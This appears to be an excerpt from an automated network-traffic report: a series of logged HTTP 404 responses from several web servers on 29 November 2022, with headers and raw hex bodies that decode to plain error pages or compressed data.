a8 44 9a 4a 9d 0f e1 b0 4d be fd 19 41 a2 50 98 21 33 2d be 75 9a 48 12 32 a9 e4 36 ac c2 81 17 07 3f 8e a0 95 01 bf 3c 67 ec 11 94 52 f7 3b 31 3c ad 5d ea 98 1d 80 a8 1d 8d c0 e1 dc f5 39 c6 9c d7 12 06 47 f3 dd 24 a0 56 70 bf 8e a3 30 73 df 8f 42 bb 51 1e 3d fa 66 04 25 61
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 29 Nov 2022 09:34:35 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Sun, 02 Oct 2022 12:42:28 GMTAccept-Ranges: bytesVary: Accept-EncodingContent-Encoding: gzipContent-Length: 4677Content-Type: text/htmlData Raw: 1f 8b 08 00 00 00 00 00 00 03 ad 52 6d 73 d3 c8 96 fe 0c bf e2 8c 73 67 80 aa d8 4a 26 61 76 b0 15 df 82 90 0c b9 05 24 9b 84 e5 4e 6d ed 52 6d e9 48 ea 49 ab 8f e8 6e d9 d6 4d cd fe f6 3d dd 92 5f 63 b8 70 77 0d b1 a5 7e 79 ce f3 16 ff f0 fa f2 f4 f6 f7 ab 33 28 5c a9 e0 ea c3 ab b7 17 a7 d0 eb 47 d1 c7 a3 d3 28 7a 7d fb 1a fe fe e6 f6 dd 5b 38 1c 1c c0 8d 33 32 71 51 74 f6 be 07 bd c2 b9 6a 18 45 b3 d9 6c 30 3b 1a 90 c9 a3 db eb 68 ee 51 0e fd b5 ee b1 6f c3 9d 41 ea d2 de f8 71 1c 86 cc 4b a5 ed c9 0e 80 c3 17 2f 5e b4 f7 7a fe d0 50 09 9d 9f f4 50 f7 60 f9 e4 31 50 a4 50 19 ca a4 c2 25 4a 5e 56 79 c0 98 67 3a 3a 3c e4 73 d0 7d e2 12 9d 00 7f ac 8f 9f 6b 39 3d e9 9d 92 76 a8 5d ff b6 a9 b0 07 49 fb 76 d2 73 38 77 91 1f 3e 82 a4 10 c6 a2 3b a9 5d d6 ff b5 07 d1 1a 9a 93 4e e1 f8 f8 e0 18 fa 70 f5 f2 b7 33 78 7f 79 0b e7 97 1f de bf 8e a3 76 ef f1 e3 47 fc 89 7f e8 f7 e1 65 9a c2 8d 92 29 c2 65 ed 2c f4 fb e3 76 cf 26 46 56 0e ac 49 96 02 12 4a 71 f0 c7 e7 1a 4d 33 48 a8 8c da c7 fe d1 e0 68 70 38 28 a5 1e fc 61 7b e3 38 6a 6f 8e 17 74 1e c2 45 49 2e fb b6 b1 d1 1f 36 b2 b2 ac 14 f6 71 5e 09 9d 3e 04 59 8a 5a a9 b3 ae 51 08 8e 8d e9 fc 48 ac 5d f3 72 42 69 73 5f 89 34 95 3a 1f 1e 8c 4a 61 72 a9 f9 21 63 0f fb 99 28 a5 6a 86 05 aa 29 3a 99 88 d1 9f cb 7b 7b de 64 21 35 9a fb ee ce cf 07 d5 1c 44 ed 68 34 93 a9 2b 86 bf fe f2 6b 35 df 79 03 f6 1c 55 ec f7 fd 44 24 77 b9 a1 5a a7 7d 59 8a 1c 87 b5 51 4f 9f 2c f5 86 35 1b f1 49 3e ff 69 36 f8 a3 ca 9f 3c 1b ad 5d 32 58 a1 70 43 4d dd d3 c6 e4 02 65 5e b8 e1 e1 57 68 94 32 fd 2e 1a 7c 7e 90 cb 6c 27 89 f6 a7 df 7c 83 fa 76 2c ec e5 c2 91 99 90 73 54 de 57 64 a5 93 a4 19 47 09 27 a7 38 52 98 b9 e1 d1 0b 46 c9 14 f1 00 ff fe 4f 00 e7 f3 f9 fd da e1 45 ac c7 3e 99 a3 17 ff c6 df 87 fc 38 82 2e b1 90 56 fb d5 3f 5c a4 f7 f5 09 7e 09 b5 5b 9f e2 4b d5 17 4a e6 7a 98 f0 16 9a ef 70 a0 83 83 3d 34 86 4c 42 29 de 87 e2 59 f9 0f 1c 1e 79 ae e1 75 d6 46 f9 eb c1 c1 b7 e2 4d 84 de ae e6 01 ff fb d6 eb 05 59 87 e9 a4 b9 df 1e bf 62 f7 f3 f3 05 3b eb 1a 85 43 e9 d8 83 64 b4 35 f1 5b 07 26 54 57 a4 ef 13 52 64 86 7b 2f 5f 1d 1c 6c 0e fb 79 e7 b0 6f 04 cf d1 59 27 0c 2b 02 f1 c5 11 47 87 3b 47 fc 8b fe af 8d 5c 84 e0 fd 3f 7a fe c5 4a 4c c8 39 2a 19 e5 7e 22 92 bb dc 50 ad d3 be 2c 45 8e c3 da a8 a7 4f a2 24 97 7d db d8 28 ac d9 88 4f b6 57 06 b9 cc 9e 3c 1b ad dd 32 58 21 b7 53 53 f7 b4 51 c8 a2 d5 72 78 fc ed e5 cc c4 e7 4f ab fd 85 1e 78 1e 22 0e df 23 a8 44 9a 4a 9d 0f e1 b0 4d be fd 19 41 a2 50 98 21 33 2d be 75 9a 48 12 32 a9 e4 36 ac c2 81 17 07 3f 8e a0 95 01 bf 3c 67 ec 11 94 52 f7 3b 31 3c ad 5d ea 98 1d 80 a8 1d 8d c0 e1 dc f5 39 c6 9c d7 12 06 47 f3 dd 24 a0 56 70 bf 8e a3 30 73 df 8f 42 bb 51 1e 3d fa 66 04 25 61
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 29 Nov 2022 09:34:37 GMTServer: ApacheUpgrade: h2,h2cConnection: Upgrade, closeLast-Modified: Sun, 02 Oct 2022 12:42:28 GMTAccept-Ranges: bytesContent-Length: 11816Vary: Accept-EncodingContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 20 70 72 6f 66 69 6c 65 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 50 41 47 45 20 4e 4f 54 20 46 4f 55 4e 44 3c 2f 74 69 74 6c 65 3e 0a 0a 09 09 09 09 3c 21 2d 2d 20 41 64 64 20 53 6c 69 64 65 20 4f 75 74 73 20 2d 2d 3e 0a 09 09 09 09 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 63 6f 64 65 2e 6a 71 75 65 72 79 2e 63 6f 6d 2f 6a 71 75 65 72 79 2d 33 2e 33 2e 31 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 20 20 20 20 20 20 20 20 0a 09 09 09 09 3c 73 63 72 69 70 74 20 73 72 63 3d 22 2f 63 67 69 2d 73 79 73 2f 6a 73 2f 73 69 6d 70 6c 65 2d 65 78 70 61 6e 64 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 68 65 6c 76 65 74 69 63 61 3b 7d 0a 20 20 20 20 20 20 20 20 23 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 32 30 70 78 20 61 75 74 6f 3b 77 69 64 74 68 3a 38 36 38 70 78 3b 7d 0a 20 20 20 20 20 20 20 20 23 63 6f 6e 74 61 69 6e 65 72 20 23 74 6f 70 34 30 34 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 27 2f 63 67 69 2d 73 79 73 2f 69 6d 61 67 65 73 2f 34 30 34 74 6f 70 5f 77 2e 6a 70 67 27 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 77 69 64 74 68 3a 38 36 38 70 78 3b 68 65 69 67 68 74 3a 31 36 38 70 78 3b 7d 0a 20 20 20 20 20 20 20 20 23 63 6f 6e 74 61 69 6e 65 72 20 23 6d 69 64 34 30 34 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 27 2f 63 67 69 2d 73 79 73 2f 69 6d 61 67 65 73 2f 34 30 34 6d 69 64 2e 67 69 66 27 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 72 65 70 65 61 74 2d 79 3b 77 69 64 74 68 3a 38 36 38 70 78 3b 7d 0a
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.2Date: Tue, 29 Nov 2022 09:35:02 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Request-Id: 80efbcd2-9125-405a-a05b-a8e27ff167dbX-Runtime: 0.057525Content-Encoding: gzipData Raw: 31 34 31 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 3c eb 73 da c6 b7 df f3 57 ec 0f cf 2d b8 35 e2 e1 37 01 77 08 e0 57 6d 70 31 71 92 66 32 54 a0 05 14 0b 49 91 84 31 ee ed fd db ef 39 67 77 a5 15 18 c7 b5 7b 3f dc 99 c4 d3 44 96 76 cf fb b5 bb 67 5b fd 4f b3 d3 e8 7d ba 6a b1 49 34 75 8e de 54 f1 1f e6 98 ee b8 96 e1 6e 06 5f 70 d3 3a 7a c3 58 75 ca 23 93 0d 27 66 10 f2 a8 96 99 45 a3 fc 41 86 15 e8 53 64 47 0e 3f aa 0f 23 db 73 59 c3 73 a3 c0 73 1c 1e 54 58 eb 7e c8 7d 7a 3b 34 67 e3 49 54 2d 88 a1 38 29 8c 16 30 09 9e 18 1b 78 d6 82 fd 45 8f f0 8b 39 bc 1d 07 de cc b5 f2 43 cf f1 00 ca c6 71 1d 7f de ca 01 ea ed f6 f6 b6 7a 35 35 83 b1 ed 56 58 d1 bf 17 af fe 7e 13 03 de 62 fe 16 f3 9c 2d 36 83 ff 22 2b c6 33 02 3a f3 23 73 6a 3b 8b 0a 9b 70 e7 8e 47 f6 d0 dc 62 77 3c b0 4c 17 1e cc c0 36 61 4a 68 ba 61 3e e4 81 3d 52 d8 68 66 68 3f f0 0a 90 5b da 56 38 19 73 6c 97 e7 27 dc 06 4e 2b ac 74 b0 44 8c 1f f0 34 72 01 a2 54 4a 00 cc 27 76 c4 f3 a1 6f 0e 01 36 8c cf cf 03 d3 4f 71 04 2f 8d 81 77 9f 48 cb 0b 2c 94 34 00 61 a1 e7 d8 16 db 68 b5 5a 8a 52 df b4 2c db 1d c3 e7 58 32 8c ad 08 8b b1 b9 6d 45 93 0a 3b dc 5d a6 19 b5 cf 83 18 5b ac 90 e2 31 fc 28 2c 89 c6 40 57 8d dd f2 71 79 67 85 80 a2 b1 cb a7 ac 84 7f a7 f8 99 94 62 e0 31 5d 46 19 86 c6 d0 d3 42 35 4a 0a 00 63 9a 1e 60 46 1a 6c 79 85 e6 34 61 29 a8 e5 dd 25 55 19 16 18 bb ed 84 4f 89 b9 59 c4 9f 58 06 a4 87 7c 60 5a f6 2c ac b0 9d 44 a7 8a 2d 20 3c b1 4f c6 2c 3b f4 1d 13 4c 6f e0 78 c3 5b 05 46 29 62 7f 59 11 46 38 9b 02 a4 c4 4d 62 d5 c2 48 56 8a 19 40 67 22 4a 06 5e 14 79 d3 94 61 a4 29 7e 8c 00 e9 36 31 fb ba c9 2a 3e 56 50 55 98 eb b9 3c 25 fe 8d 21 b8 88 09 de 90 98 0e 18 2d fa 0c 59 63 4c a2 f4 d6 d8 00 4b c5 e2 7f ad 9a ce 23 66 63 84 de 2c 18 72 f6 f3 aa f5 24 92 8f 45 b4 1c 16 d4 ec bf 54 c8 59 75 a2 e6 21 fe c4 da 8d 63 12 58 78 ab 81 3f cf d0 98 20 51 97 61 ca 1f 75 6b 10 12 79 44 92 8a 54 c3 32 21 fc 2a 82 35 cb 3f 48 24 e6 41 e8 1a 39 de bc c2 cc 59 e4 ad d2 9e c4 d3 e3 e3 94 ba 0c db 1d 79 31 f0 44 6c 2b de 9a a6 c6 40 27 ea bb b3 e9 80 07 9a ab ac c6 ef b4 c4 54 10 a9 d7 e3 90 9e c8 05 9c 24 c1 1a 1b 73 20 43 6a 12 e4 9a cd a6 62 30 e2 f7 51 de 74 ec 31 24 00 1a 98 e6 0d 89 5c e6 2d ef f0 11 86 68 2d 2a 2e 87 de 55 20 95 09 0a 38 09 09 ab 7c 1e ef e1 cf ea 4c c3 84 d4 78 97 50 f1 58 8a 3b 6e c0 9f f4 d4 89 6d 59 dc 8d 11 c6 0e bb e2 6e 60 18 4c 49 f5 f0 a0 78 58 dc 7d cb fe 26 db 36 2b 77 76 08 39 05 d2 5e 3c 62 6f 6f 2f fe 6c 44 01 e4 9a fc 28 30 a7 1c 54 f8 e8 18 c5 77 fc 51 46 52 85 22 05 c3 08 b9 c3 87 69 84 62 3c 0c 97 ee b6 01 d9 3d e2 fd c8 1c 38 4a 26 71 ec 17 12 90 01 02 78 72 4c 3f 84 5c a8 9e f0 33 c1 49 c1 88 30 4d b1 48 e9 66 29 02 96 13 ab b1 2c eb 69 08 90 5b 31 6c 4a 99 2f 01 52 72 5f
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.14.2Date: Tue, 29 Nov 2022 09:35:04 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeX-Request-Id: 83a2ff74-2211-4d80-b80d-6219366e0ae4X-Runtime: 0.045031Content-Encoding: gzipData Raw: 31 33 34 35 0d 0a 1f 8b 08 00 00 00 00 00 00 03 ed 5c 6b 57 db 46 b7 fe 9e 5f 31 35 eb d4 26 c5 f2 85 5b 20 98 2e 6a 0c a1 25 90 82 d3 26 cd ca 72 85 35 b6 55 64 c9 91 64 2e e9 9b f7 b7 9f 67 ef 99 91 46 36 26 14 7a 3e 9c b5 12 56 13 21 cd ec fb 6d 66 f6 74 e7 bb fd d3 76 f7 fd 9b 8e 18 a5 e3 60 f7 d9 0e fd 23 02 37 1c b6 4a 32 2c d1 0b e9 7a bb cf 84 d8 19 cb d4 15 fd 91 1b 27 32 6d 95 a6 e9 a0 fa a2 24 6a fc 29 f5 d3 40 ee ee f5 53 3f 0a 45 3b 0a d3 38 0a 02 19 6f 8b ce 4d 5f 4e f8 6d df 9d 0e 47 e9 4e 4d 0d a5 49 49 7a 8b 49 78 12 e2 22 f2 6e c5 df fc 88 5f dc fe e5 30 8e a6 a1 57 ed 47 41 04 28 4b 07 7b f4 f3 52 0f 30 6f 57 57 57 cd ab b1 1b 0f fd 70 5b d4 27 37 ea d5 97 67 19 e0 15 31 59 11 51 b0 22 a6 f8 2f f5 32 3c 03 d0 59 1d b8 63 3f b8 dd 16 23 19 5c c9 d4 ef bb 2b e2 4a c6 9e 1b e2 c1 8d 7d 17 53 12 37 4c aa 89 8c fd 81 c1 c6 33 13 ff b3 dc 06 b9 8d 55 83 53 88 c0 0f 65 75 24 7d 70 ba 2d 1a 2f 66 88 99 c4 b2 88 5c 81 68 34 72 00 d7 23 3f 95 d5 64 e2 f6 01 1b e3 ab d7 b1 3b 29 70 84 97 ce 45 74 93 4b 2b 8a 3d 92 34 80 88 24 0a 7c 4f 2c 75 3a 1d 43 e9 c4 f5 3c 3f 1c e2 73 26 19 21 e6 84 25 c4 b5 ef a5 a3 6d b1 b5 3e 4b 33 69 5f c6 19 b6 4c 21 f5 03 fc 18 2c b9 c6 a0 ab f6 7a f3 a0 b9 36 47 40 dd 59 97 63 d1 a0 bf 0b fc 8c 1a 19 f0 8c 2e a7 89 a1 19 f4 a2 50 9d 86 01 20 84 a5 07 cc 28 82 6d ce d1 5c 24 ac 00 b5 b9 3e a3 2a c7 83 b1 fb 41 72 9f 98 f7 eb f4 93 c9 80 f5 50 8d 5d cf 9f 26 db 62 2d d7 a9 61 0b 84 e7 f6 29 84 e7 27 93 c0 85 e9 5d 04 51 ff d2 80 31 8a d8 9c 55 84 93 4c c7 80 94 bb 49 a6 5a 8c 14 8d 8c 01 72 26 a6 e4 22 4a d3 68 5c 30 8c 22 c5 77 11 a0 dd 26 63 df 36 59 c3 c7 1c aa 6d 11 46 a1 2c 88 7f a9 0f 17 71 e1 0d b9 e9 c0 68 c9 67 d8 1a 33 12 b5 b7 66 06 d8 a8 d7 ff 67 de 74 ee 30 1b 27 89 a6 71 5f 8a e7 f3 d6 93 4b 3e 13 d1 6c 58 30 b3 ff 36 21 67 de 89 f6 b7 e8 27 d3 6e 16 93 60 e1 9d 36 fd 3c 40 63 8a 44 5b 86 05 7f b4 ad 41 49 e4 0e 49 1a 52 1d cf 45 f8 35 04 5b 96 ff 22 97 58 84 d0 35 08 a2 eb 6d e1 4e d3 68 9e f6 3c 9e 1e 1c 14 d4 e5 f8 e1 20 ca 80 e7 62 9b f3 d6 22 35 0e 39 51 2f 9c 8e 2f 64 6c b9 ca 7c fc 2e 4a cc 04 91 bd bd 2c a4 e7 72 81 93 e4 58 33 63 8e 75 48 cd 83 dc fe fe be 61 30 95 37 69 d5 0d fc 21 12 00 0f 2c f2 46 44 ce f2 56 0d e4 80 42 b4 15 15 67 43 ef 3c 90 ed 11 09 38 0f 09 f3 7c 1e 6c d0 cf fc 4c c7 45 6a bc ca a9 b8 2b c5 1d b4 f1 a7 38 75 e4 7b 9e 0c 33 84 99 c3 ce b9 1b 0c 43 18 a9 6e bd a8 6f d5 d7 5f 8a 2f 6c db ee f6 95 9f 20 a7 20 ed 65 23 36 36 36 b2 cf 4e 1a 23 d7 54 07 b1 3b 96 50 e1 9d 63 0c df d9 47 1d 49 0d 8a 02 0c 27 91 81 ec 17 11 aa f1 18 ae dd 6d 09 d9 3d 95 bd d4 bd 08 8c 4c b2 d8 af 24 a0 03 04 78 0a dc 49 82 5c 68 9e e8 33 c3 29 c0 48 29 4d 89 d4 e8 66 26 02 36 73 ab f1 3c ef 7e 08 c8 ad 14 36 b5 cc 67 00
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/8.5X-Powered-By: ASP.NETDate: Tue, 29 Nov 2022 09:35:08 GMTConnection: closeContent-Length: 1163Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/8.5X-Powered-By: ASP.NETDate: Tue, 29 Nov 2022 09:35:11 GMTConnection: closeContent-Length: 1163Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 2d 20 d5 d2 b2 bb b5 bd ce c4 bc fe bb f2 c4 bf c2 bc a1 a3 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 3c 21 2d 2d 0d 0a 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 2e 37 65 6d 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 45 45 45 45 45 45 3b 7d 0d 0a 66 69 65 6c 64 73 65 74 7b 70 61 64 64 69 6e 67 3a 30 20 31 35 70 78 20 31 30 70 78 20 31 35 70 78 3b 7d 20 0d 0a 68 31 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 2e 34 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 7d 0d 0a 68 32 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 37 65 6d 3b 6d 61 72 67 69 6e 3a 30 3b 63 6f 6c 6f 72 3a 23 43 43 30 30 30 30 3b 7d 20 0d 0a 68 33 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 2e 32 65 6d 3b 6d 61 72 67 69 6e 3a 31 30 70 78 20 30 20 30 20 30 3b 63 6f 6c 6f 72 3a 23 30 30 30 30 30 30 3b 7d 20 0d 0a 23 68 65 61 64 65 72 7b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 32 25 20 36 70 78 20 32 25 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 22 74 72 65 62 75 63 68 65 74 20 4d 53 22 2c 20 56 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 63 6f 6c 6f 72 3a 23 46 46 46 3b 0d 0a 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 35 35 35 35 35 3b 7d 0d 0a 23 63 6f 6e 74 65 6e 74 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 32 25 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2e 63 6f 6e 74 65 6e 74 2d 63 6f 6e 74 61 69 6e 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 46 46 46 3b 77 69 64 74 68 3a 39 36 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 38 70 78 3b 70 61 64 64 69 6e 67 3a 31 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 7d 0d 0a 2d 2d 3e 0d 0a 3c 2f 73 74 79 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 68 65 61 64 65 72 22 3e 3c 68 31 3e b7 fe ce f1 c6 f7 b4 ed ce f3 3c 2f
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/htmlServer: Microsoft-IIS/8.5X-Powered-By: ASP.NETDate: Tue, 29 Nov 2022 09:35:13 GMTConnection: closeContent-Length: 1163Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 67 62 32 33 31 32 22 2f 3e 